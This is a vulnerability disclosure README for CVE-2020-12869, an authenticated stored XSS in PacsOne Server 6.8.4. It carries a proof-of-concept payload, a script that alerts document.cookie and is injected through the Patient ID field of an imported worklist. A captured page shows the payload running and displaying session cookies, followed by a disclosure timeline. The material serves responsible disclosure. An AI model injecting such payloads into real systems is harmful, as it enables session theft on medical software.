

master cve-pocs / CVE-2020-12869 /

bzyo Update README.md ...

on Mar 25, 2021 History

..

imgs

2 years ago

README.md

last year

worklist.txt

2 years ago

README.md

Vulnerability

PacsOne Server 6.8.4 suffers from multiple authenticated stored XSS vulnerabilities.

Prerequisites

To successfully exploit these vulnerabilities, an attacker must be authenticated and have the ability to import a worklist

Exploit

Patient ID field is one of many that suffers from a stored XSS vulnerability

Example [worklist.txt](#) contains the vulnerable string "><script>alert(document.cookie)</script>

PacsOne Server - Modality Worklist

192.168.0.181/pacsone/worklist.php?type=5

Logout root @ PACS

User Administration | Configuration | Email | Journal | Home | Unread Studies | Browse | Search | Dicom AE | HL7 Application | Auto Route | Job Status | Modality Worklist | Tools | Profile | Help

Today's Worklist | Yesterday's Worklist | This Week's Worklist | This Month's Worklist | Last Month's Worklist | All Worklist | Enter New Worklist

There is 1 worklist item found in the database.

Previous Next

Displaying 1-1 of 1 Worklist:

Patient Name	Patient ID	Accession Number	Modality	Date of Service	Procedure Code	Referring Physician's Name	Scheduled Procedure Description	Scheduled Station AE Title
Johnny Doe Max64	>	2020091914400001	CT Max16	2007-05-22	RequestCode16	N/A	Scheduled Description Max64	SomeAE Max16

Check All Delete

192.168.0.181 says

```
sessionCookie=28508f90fab8b98860b79f30d7ac55d9;
PHPSESSID=574rfpve77o3mm3qkvk4dqd193
```

OK

Timeline

05-07-20: Submitted incident through email, immediate response

05-21-20: Issue resolved

09-10-20: New version released

09-19-20: Submitted public disclosure

Reference

[MITRE CVE-2020-12869](#)

Disclaimer

